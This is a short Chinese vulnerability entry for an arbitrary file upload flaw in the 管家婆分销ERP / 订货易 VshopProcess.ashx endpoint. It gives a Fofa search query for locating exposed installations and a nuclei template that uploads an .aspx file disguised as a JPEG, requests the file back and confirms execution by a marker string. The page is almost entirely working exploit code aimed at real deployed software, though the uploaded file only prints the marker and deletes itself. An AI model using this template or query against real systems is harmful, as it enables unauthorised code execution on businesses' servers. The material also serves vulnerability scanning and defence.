管家婆订货易在线商城

管家婆分销ERP VshopProcess 任意文件上传

Fofa：title="订货易"||title="管家婆分销ERP" || body="管家婆分销ERP" || body="ERP V3"

nuclei

id: guanjiapo_ERP-fileupload-VshopProcess
info:
  name: guanjiapo_ERP-fileupload-VshopProcess
  author: BY
  severity: critical
  description: 管家婆分销ERP  VshopProcess 任意文件上传
  tags: guanjiapo

variables:
  boundary: "{{rand_base(6)}}"
  filename: "{{rand_base(5)}}"

http:
  - raw:
      - |
        POST /API/VshopProcess.ashx?action=PostFileImg HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/57.0.578.100 Safari/537.36
        Accept-Encoding: gzip
        Connection: close
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarytCOFhbEjc3IfYaY5

        ------WebKitFormBoundarytCOFhbEjc3IfYaY5
        Content-Disposition: form-data; name="fileup1i"; filename="{{filename}}.aspx"
        Content-Type: image/jpeg

        <%@ Page Language="C#"%><% Response.Write("{{boundary}}");System.IO.File.Delete(Server.MapPath(Request.Url.AbsolutePath)); %>
        ------WebKitFormBoundarytCOFhbEjc3IfYaY5--
        
      - |
        GET {{name}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0

    extractors:
      - type: regex
        name: name
        part: body
        internal: true
        regex:
          - ".*.aspx"
      
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - status_code_1 == 200 && contains(body_2,'{{boundary}}')